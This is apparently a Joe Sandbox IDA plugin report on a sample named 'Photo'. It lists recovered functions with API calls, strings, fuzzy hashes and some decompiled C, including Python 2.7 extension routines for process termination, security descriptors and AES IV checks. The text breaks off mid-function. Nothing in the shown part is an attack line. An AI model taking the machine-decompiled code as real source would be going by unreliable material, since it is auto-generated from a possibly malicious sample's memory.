PyErr_SetString.PYTHON27(00000000,Not enough memory), ref: 02781A24
6C423B4E.MSVCR90(00000000,00000000,00000000,00000000,00000000,?), ref: 02781A45
PyErr_SetString.PYTHON27(?,Unable to obtain adapter information.,00000000,00000000,00000000,00000000,?), ref: 02781A5C
PyList_New.PYTHON27(00000000,?,00000000,00000000,00000000,00000000,?), ref: 02781A6F
PyUnicodeUCS2_FromString.PYTHON27(?), ref: 02781A94
PyList_Append.PYTHON27(00000000,00000000), ref: 02781A9E
6C423B4E.MSVCR90(00000000), ref: 02781AC0

Strings

Unable to obtain adapter information., xrefs: 02781A56
Not enough memory, xrefs: 02781A1E

Memory Dump Source

Source File: 00000001.00000002.428396427.0000000002781000.00000040.00000001.01000000.0000000B.sdmp, Offset: 02780000, based on PE: true

Associated: 00000001.00000002.428389719.0000000002780000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428396427.0000000002786000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428423823.0000000002789000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2780000_Photo.jbxd

Similarity

API ID: C423String$Err_List_$AdaptersAddressesAppendFromUnicode
String ID: Not enough memory$Unable to obtain adapter information.
API String ID: 2462179033-1967285906
Opcode ID: 05e12cf14b70d486d3a7134108680ad62a509d1f2e8b4cc6d0693f0dbfbc65c6
Instruction ID: c1132b9e0b6f5240369072e2b2c13e3ed3dc7a5ad4fa06869d7c7b8a50cc9a2c
Opcode Fuzzy Hash: 05e12cf14b70d486d3a7134108680ad62a509d1f2e8b4cc6d0693f0dbfbc65c6
Instruction Fuzzy Hash: 0221EB72EC02005BD710EB2CECC5F6BB765DB84A25F258569ED1E87240DB31D82587B6

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A53D0 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,can't delete OVERLAPPED attributes), ref: 1E7A53E6
PyString_AsString.PYTHON27(?), ref: 1E7A53FA

Strings

Internal, xrefs: 1E7A549C
can't delete OVERLAPPED attributes, xrefs: 1E7A53E0
InternalHigh, xrefs: 1E7A54EF
hEvent, xrefs: 1E7A540C

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: String$Err_String_
String ID: Internal$InternalHigh$can't delete OVERLAPPED attributes$hEvent
API String ID: 2652372976-1618803428
Opcode ID: 749dbed479fc1568d374b21f823f9f37aa662c21e85c6b6fedaffdd2f5280080
Instruction ID: 5988df478947c963048895f1e5f938e83873d200ed34794aae8392db7981c020
Opcode Fuzzy Hash: 749dbed479fc1568d374b21f823f9f37aa662c21e85c6b6fedaffdd2f5280080
Instruction Fuzzy Hash: 165128726182814FF304DF38B8506ABBBE7AFC5125B5C476DEA85C72A5E322D447CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A9070 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(000211EB,Allocating BSTR,?,?,?,00000000,1E7A496F,?,?,00000000,00000000), ref: 1E7A90B9
SysAllocStringLen.OLEAUT32(00000000,?), ref: 1E7A90D7
PyUnicodeUCS2_AsWideChar.PYTHON27(?,00000000,?,?,00000000,1E7A496F,?,?,00000000,00000000,?,1E7A23A8,?,?), ref: 1E7A90EA

Part of subcall function 1E7A8FD0: PyString_Size.PYTHON27(?,?,?,00000001,1E7A23A8,1E7A9097,1E7A23A8,?,?,?,00000000,1E7A496F,?,?,00000000,00000000), ref: 1E7A8FDB
Part of subcall function 1E7A8FD0: PyString_AsString.PYTHON27(?,?,00000000,1E7A496F,?,?,00000000,00000000,?,1E7A23A8,?,?), ref: 1E7A8FE4
Part of subcall function 1E7A8FD0: PyErr_SetString.PYTHON27(?,No memory for wide string buffer,?,?,?,?,1E7A257E,74372CA0,AddAccessAllowedObjectAce,?,?,?,?,?,?), ref: 1E7A9014

PyErr_SetString.PYTHON27(1E7B9D10,None is not a valid string in this context,?,?,?,00000000,1E7A496F,?,?,00000000,00000000), ref: 1E7A912B
PyErr_Format.PYTHON27(74372CA0,Objects of type '%s' can not be converted to Unicode.,<NULL!!>,?,?,?,00000000,1E7A496F,?,?,00000000,00000000,?,1E7A23A8,?,?), ref: 1E7A915A
SysStringLen.OLEAUT32(74372CA0), ref: 1E7A9177

Strings

None is not a valid string in this context, xrefs: 1E7A9125
<NULL!!>, xrefs: 1E7A9146, 1E7A9153
Allocating BSTR, xrefs: 1E7A90B3
Objects of type '%s' can not be converted to Unicode., xrefs: 1E7A9154

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: String$Err_$String_$AllocCharFormatSizeUnicodeWide
String ID: <NULL!!>$Allocating BSTR$None is not a valid string in this context$Objects of type '%s' can not be converted to Unicode.
API String ID: 1423582126-3325733078
Opcode ID: e087026a8f3b1ca00dfec179d3fee7b4d37fd2a401e062937e5ec9e9c5cf1617
Instruction ID: 8b5a2b0479d2311b8d0b1c5652a9c6a5f277fffd32a7f26ac95e76327ca82a71
Opcode Fuzzy Hash: e087026a8f3b1ca00dfec179d3fee7b4d37fd2a401e062937e5ec9e9c5cf1617
Instruction Fuzzy Hash: 4731A1796012158BE7009F59EC94A6773A9EBC9329F0C0769FB41C7360DB72E850CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6430 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,iOi:SetSacl,?,?,?), ref: 1E7A645A
?PyWinObject_AsACL@@YAHPAU_object@@PAPAU_ACL@@H@Z.PYWINTYPES27(?,?,00000001), ref: 1E7A647B
?_MakeAbsoluteSD@@YAHPAXPAPAX@Z.PYWINTYPES27(?,?), ref: 1E7A6496
SetSecurityDescriptorSacl.ADVAPI32(?,?,?,?), ref: 1E7A64BF
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(SetSecurityDescriptorSacl,00000000), ref: 1E7A64CF
6C423B4E.MSVCR90(?,?,?,?), ref: 1E7A651E
6C423B4E.MSVCR90(00000000), ref: 1E7A6528

Strings

SetSecurityDescriptorSacl, xrefs: 1E7A64CA
iOi:SetSacl, xrefs: 1E7A6448

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: C423U_object@@$AbsoluteArg_DescriptorError@@MakeObject_ParseSaclSecurityTupleWin_
String ID: SetSecurityDescriptorSacl$iOi:SetSacl
API String ID: 2516362336-1391232748
Opcode ID: ed7719a7cfc9c1c34f9e6981eb24c2d3d83ffb704be4b795f5e25a8218a76ea3
Instruction ID: 343c3e17d4965c57da3af951ddef9f7501efb1e23144741b146d9f374b92e1bb
Opcode Fuzzy Hash: ed7719a7cfc9c1c34f9e6981eb24c2d3d83ffb704be4b795f5e25a8218a76ea3
Instruction Fuzzy Hash: AA316F756043056FB600EFA4AC9496B739DAEC8618F494B1CFE4492215FB35EA09CAA3

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6620 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,Oi:SetSecurityDescriptorOwner,?,?), ref: 1E7A6645
?PyWinObject_AsSID@@YAHPAU_object@@PAPAXH@Z.PYWINTYPES27(?,?,00000001), ref: 1E7A6666
?_MakeAbsoluteSD@@YAHPAXPAPAX@Z.PYWINTYPES27(?,?), ref: 1E7A6689
SetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 1E7A66AD
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(SetSecurityDescriptorOwner,00000000), ref: 1E7A66BD
6C423B4E.MSVCR90(?,?,?,?), ref: 1E7A670C
6C423B4E.MSVCR90(00000000), ref: 1E7A6716

Strings

Oi:SetSecurityDescriptorOwner, xrefs: 1E7A6635
SetSecurityDescriptorOwner, xrefs: 1E7A66B8

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: C423U_object@@$AbsoluteArg_DescriptorError@@MakeObject_OwnerParseSecurityTupleWin_
String ID: Oi:SetSecurityDescriptorOwner$SetSecurityDescriptorOwner
API String ID: 900688076-3086791579
Opcode ID: d6a4dc625f88e8a4bf033ee59f552e162ed2f2a6dce3a111a9801c8c4e33e5f2
Instruction ID: 6cf7014af77b3beac51e9aa74c0ab62d1d4049cf98abdf6c029a0188492a141e
Opcode Fuzzy Hash: d6a4dc625f88e8a4bf033ee59f552e162ed2f2a6dce3a111a9801c8c4e33e5f2
Instruction Fuzzy Hash: 623191B5504341ABA300DF55EC949AB73EDEFC8604F480B1DFE4992225E735E605CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A9F20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 102windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F2A
?PyWin_GetErrorMessageModule@@YAPAUHINSTANCE__@@K@Z.PYWINTYPES27(00000000,00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F38
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 1E7A9F69
?PyWinObject_FromTCHAR@@YAPAU_object@@PBDH@Z.PYWINTYPES27(No error message is available,000000FF,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1E7A9FC7
?PyWinCoreString_FromString@@YAPAU_object@@PBDH@Z.PYWINTYPES27(?,000000FF,00000000,?,6C423D3F), ref: 1E7A9FD7
Py_BuildValue.PYTHON27((iNN),00000000,00000000,?,00000000,?,6C423D3F), ref: 1E7A9FE6
LocalFree.KERNEL32(?), ref: 1E7A9FFF
PyErr_SetObject.PYTHON27(02FC03E0,00000000), ref: 1E7AA010

Strings

(iNN), xrefs: 1E7A9FE1
No error message is available, xrefs: 1E7A9F77, 1E7A9FC6

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: ErrorFromMessageU_object@@$BuildCoreE__@@Err_FormatFreeLastLocalModule@@ObjectObject_String@@String_ValueWin_
String ID: (iNN)$No error message is available
API String ID: 1016398995-2901411318
Opcode ID: fd15295e8b0b2f3e45a84b055d750fd798942f50572a0d7a2f47600e62dfa25e
Instruction ID: eae0b148dc3e0ae807cd1ceaa3a61eadbde5b3fc662e7639123a391587f0cd89
Opcode Fuzzy Hash: fd15295e8b0b2f3e45a84b055d750fd798942f50572a0d7a2f47600e62dfa25e
Instruction Fuzzy Hash: DD3104356083525BF3109E24BC58F6777AE9FC5714F0D4B1CFA91872A1EB22D809CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 100031B0 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(1000857C,non-existent block cipher object attribute '%s',?), ref: 100031F7
PyErr_SetString.PYTHON27(?,Can't delete IV attribute of block cipher object), ref: 1000321B
PyErr_SetString.PYTHON27(?,IV attribute of block cipher object must be string), ref: 10003243
PyString_Size.PYTHON27(?), ref: 10003252
PyErr_Format.PYTHON27(?,_AES IV must be %i bytes long,00000010), ref: 10003270
PyString_AsString.PYTHON27(?), ref: 1000327F

Strings

_AES IV must be %i bytes long, xrefs: 1000326A
Can't delete IV attribute of block cipher object, xrefs: 10003215
IV attribute of block cipher object must be string, xrefs: 1000323D
non-existent block cipher object attribute '%s', xrefs: 100031F1

Memory Dump Source

Source File: 00000001.00000002.431765876.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.431757936.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.0000000010008000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.000000001000A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431800148.000000001000B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431809437.000000001000D000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Photo.jbxd

Similarity

API ID: Err_$String$FormatString_$Size
String ID: Can't delete IV attribute of block cipher object$IV attribute of block cipher object must be string$_AES IV must be %i bytes long$non-existent block cipher object attribute '%s'
API String ID: 785173264-1785697461
Opcode ID: 449360c43a4b7b8ada97b851036732093882244690e0f61d13620d2939192448
Instruction ID: 4c982b7e76cd5248e54136754a320d7e5d517bed34c368ddfc1b5cc59d8bee9c
Opcode Fuzzy Hash: 449360c43a4b7b8ada97b851036732093882244690e0f61d13620d2939192448
Instruction Fuzzy Hash: 423125705085108FE300CF68ECC49877BA5EF493E0716C755E8599B3A9DB32D919CB95

Uniqueness

Uniqueness Score: -1.00%

Function 027614B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E027614B0(intOrPtr _a8) {
				void* _t3;
				long _t4;
				void* _t23;
				void* _t28;
				long* _t29;

				_t3 =  *0x2769308(_a8, "l", _t28);
				_t29 = _t28 + 0xc;
				if(_t3 != 0) {
					_t4 =  *_t29;
					if(_t4 != 0) {
						_t23 = OpenProcess(1, 0, _t4);
						if(_t23 != 0) {
							if(TerminateProcess(_t23, 0xf) != 0 || GetLastError() == 5) {
								CloseHandle(_t23);
								 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
								return  *0x27692c8;
							} else {
								E02761090("TerminateProcess");
								CloseHandle(_t23);
								return 0;
							}
						} else {
							if(GetLastError() != 0x57) {
								 *0x27692b8(0);
								return 0;
							} else {
								_push("OpenProcess -> ERROR_INVALID_PARAMETER turned into NoSuchProcess");
								E02761160();
								E02761020(0x276d7d5);
								return 0;
							}
						}
					} else {
						return E027610D0(0x276d7d4);
					}
				} else {
					return _t3;
				}
			}

0x027614bf
0x027614c5
0x027614ca
0x027614ce
0x027614d3
0x027614f0
0x027614f4
0x02761538
0x0276155f
0x0276156a
0x02761573
0x02761545
0x0276154a
0x02761553
0x0276155d
0x0276155d
0x027614f6
0x027614ff
0x0276151f
0x0276152c
0x02761501
0x02761501
0x02761506
0x02761510
0x0276151c
0x0276151c
0x027614ff
0x027614d5
0x027614e3
0x027614e3
0x027614cd
0x027614cd
0x027614cd

APIs

PyArg_ParseTuple.PYTHON27(?,0276B104), ref: 027614BF

Strings

OpenProcess -> ERROR_INVALID_PARAMETER turned into NoSuchProcess, xrefs: 02761501
TerminateProcess, xrefs: 02761545

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_ParseTuple
String ID: OpenProcess -> ERROR_INVALID_PARAMETER turned into NoSuchProcess$TerminateProcess
API String ID: 3371842430-2687439338
Opcode ID: fa9a138e9c923cfcc016643266c89a3606c3642932786d53ad6fdc4be6684c1d
Instruction ID: 368442fbebc784be66ddce5a6703715aabeba15531a036a2701fc5fda45af35e
Opcode Fuzzy Hash: fa9a138e9c923cfcc016643266c89a3606c3642932786d53ad6fdc4be6684c1d
Instruction Fuzzy Hash: 1C110AF1B40310EBEB1967687C0DBFA7794DF0176AF608825FE0BE1741EB3080209A52

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6BB0 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 51COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27 ref: 1E7A6BCD
IsValidSecurityDescriptor.ADVAPI32(?,?,?,:GetSecurityDescriptorControl), ref: 1E7A6BE7
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(GetSecurityDescriptorControl - invalid sd,00000000,?,?,:GetSecurityDescriptorControl), ref: 1E7A6BF7

Strings

:GetSecurityDescriptorControl, xrefs: 1E7A6BB7
GetSecurityDescriptorControl - invalid sd, xrefs: 1E7A6BF2
(ii), xrefs: 1E7A6C37
GetSecurityDescriptorControl, xrefs: 1E7A6C1A

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_DescriptorError@@ParseSecurityTupleU_object@@ValidWin_
String ID: (ii)$:GetSecurityDescriptorControl$GetSecurityDescriptorControl$GetSecurityDescriptorControl - invalid sd
API String ID: 2327843493-2499011972
Opcode ID: 6d6ba0ffaff844843e57d73d15357c9269305c4ba18cf1fec7f283c1e28e3407
Instruction ID: 9a10039ff0b0842cb621287ffdace2ac61019780952da1e9fe8875bc3a369c83
Opcode Fuzzy Hash: 6d6ba0ffaff844843e57d73d15357c9269305c4ba18cf1fec7f283c1e28e3407
Instruction Fuzzy Hash: DF01217A514111BBF600AB54FC45ADB77EDAFC871AF8C8618FA4981210F735E518CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A9D00 Relevance: 17.5, APIs: 8, Strings: 2, Instructions: 45threadmemoryCOMMON

Download Yara Rule

APIs

PyThreadState_Swap.PYTHON27(00000000,?,?,?,1E7AA79E), ref: 1E7A9D1A
Py_FatalError.PYTHON27(pywintypes: can not setup interpreter state, as current state is invalid), ref: 1E7A9D2A
PyThreadState_Swap.PYTHON27(00000000), ref: 1E7A9D38
LocalAlloc.KERNEL32(00000040,00000008,?,?,?,1E7AA79E), ref: 1E7A9D41
Py_FatalError.PYTHON27(Out of memory allocating thread state.,?,?,?,1E7AA79E), ref: 1E7A9D52
TlsSetValue.KERNEL32(0000001E,00000000,?,?,?,1E7AA79E), ref: 1E7A9D5F
PyThreadState_Swap.PYTHON27(00000000,?,?,?,1E7AA79E), ref: 1E7A9D67
PyThreadState_Swap.PYTHON27(00000000,?,?,?,1E7AA79E), ref: 1E7A9D6C

Strings

pywintypes: can not setup interpreter state, as current state is invalid, xrefs: 1E7A9D25
Out of memory allocating thread state., xrefs: 1E7A9D4D

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: State_SwapThread$ErrorFatal$AllocLocalValue
String ID: Out of memory allocating thread state.$pywintypes: can not setup interpreter state, as current state is invalid
API String ID: 2375178977-487933566
Opcode ID: ccc8623ac03a732d56cb195d25eb6cafb6f1c8b7f35509e46b4b40c67853ea88
Instruction ID: 100c2e5f5432e3dbe638b868fd84337567aef9e0b2b5778f7011f306665f535c
Opcode Fuzzy Hash: ccc8623ac03a732d56cb195d25eb6cafb6f1c8b7f35509e46b4b40c67853ea88
Instruction Fuzzy Hash: 6EF0D6B1980325A7F22167A4ACC5FC777DCDF8C725F1D0624EA4897250D674E445CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A7AD0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 125timeCOMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27 ref: 1E7A7AF0
?PyWinObject_AsString@@YAHPAU_object@@PAPADHPAK@Z.PYWINTYPES27(?,00000000,00000000,00000000), ref: 1E7A7B26
VariantTimeToSystemTime.OLEAUT32(?), ref: 1E7A7B4B
GetTimeZoneInformation.KERNEL32(?), ref: 1E7A7BD1
?PyWinCoreString_FromString@@YAPAU_object@@PBDH@Z.PYWINTYPES27(?,000000FF), ref: 1E7A7C4F

Strings

|O:Format, xrefs: 1E7A7AE2
can't format dates this early, xrefs: 1E7A7C7D

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Time$String@@U_object@@$Arg_CoreFromInformationObject_ParseString_SystemTupleVariantZone
String ID: can't format dates this early$|O:Format
API String ID: 658385599-910026153
Opcode ID: 56012715c4e1481b18765ee3a6a18a53a6b969f6b9fc979e7d1a8b9b3db7ec7a
Instruction ID: 5b809916de64c610e5b80cf48d53561713d71abd8ad09d50ba63416188bd6bd4
Opcode Fuzzy Hash: 56012715c4e1481b18765ee3a6a18a53a6b969f6b9fc979e7d1a8b9b3db7ec7a
Instruction Fuzzy Hash: AB415AB1908351ABE350DF29D894A6FF7E8EBC8704F444A2EFA99C2290E735C504CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0276740C Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 94
serviceCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0276740C() {
				intOrPtr* _t33;
				intOrPtr _t39;
				intOrPtr* _t48;
				intOrPtr* _t52;
				void* _t53;
				intOrPtr _t55;
				intOrPtr* _t64;
				intOrPtr* _t65;
				intOrPtr _t68;
				intOrPtr _t72;
				intOrPtr* _t76;
				intOrPtr* _t80;
				intOrPtr* _t83;
				intOrPtr* _t84;
				void* _t86;
				void* _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				intOrPtr* _t93;
				void* _t96;
				void* _t97;

				do {
					_t83 =  *((intOrPtr*)(_t96 + 0x1c));
					_t76 =  *_t83;
					_t33 = _t76;
					_t88 = _t33 + 2;
					do {
						_t68 =  *_t33;
						_t33 = _t33 + 2;
					} while (_t68 != 0);
					_t64 =  *0x276928c;
					_t89 =  *_t64(_t76, _t33 - _t88 >> 1);
					_t97 = _t96 + 8;
					if(_t89 == 0) {
						L19:
						_t65 =  *((intOrPtr*)(_t97 + 0x14));
						_t84 =  *((intOrPtr*)(_t97 + 0x30));
						goto L20;
					} else {
						_t80 =  *((intOrPtr*)(_t83 + 4));
						_t48 = _t80;
						_t86 = _t48 + 2;
						do {
							_t72 =  *_t48;
							_t48 = _t48 + 2;
						} while (_t72 != 0);
						_t93 =  *_t64(_t80, _t48 - _t86 >> 1);
						_t97 = _t97 + 8;
						if(_t93 == 0) {
							goto L19;
						} else {
							_t52 =  *0x27692b4("(OO)", _t89, _t93);
							_t65 =  *((intOrPtr*)(_t97 + 0x20));
							_t84 = _t52;
							_t97 = _t97 + 0xc;
							 *((intOrPtr*)(_t97 + 0x30)) = _t84;
							if(_t84 == 0) {
								L20:
								 *_t89 =  *_t89 + 0xffffffff;
								if( *_t89 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t89 + 4)) + 0x18))))(_t89);
									_t97 = _t97 + 4;
								}
								if(_t93 != 0) {
									 *_t93 =  *_t93 + 0xffffffff;
									if( *_t93 == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t93 + 4)) + 0x18))))(_t93);
										_t97 = _t97 + 4;
									}
								}
								if(_t84 != 0) {
									 *_t84 =  *_t84 + 0xffffffff;
									if( *_t84 == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t84 + 4)) + 0x18))))(_t84);
										_t97 = _t97 + 4;
									}
								}
								 *_t65 =  *_t65 + 0xffffffff;
								if( *_t65 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t65 + 4)) + 0x18))))(_t65);
									_t97 = _t97 + 4;
								}
								CloseServiceHandle( *(_t97 + 0x24));
								_t39 =  *((intOrPtr*)(_t97 + 0x10));
								if(_t39 != 0) {
									 *0x2769214(_t39);
									_t97 = _t97 + 4;
								}
								return 0;
							} else {
								_t53 =  *0x2769314(_t65, _t84);
								_t97 = _t97 + 8;
								if(_t53 != 0) {
									goto L20;
								} else {
									goto L10;
								}
							}
						}
					}
					L33:
					L10:
					 *_t93 =  *_t93 + 0xffffffff;
					if( *_t93 == 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t93 + 4)) + 0x18))))(_t93);
						_t97 = _t97 + 4;
					}
					 *_t89 =  *_t89 + 0xffffffff;
					if( *_t89 == 0) {
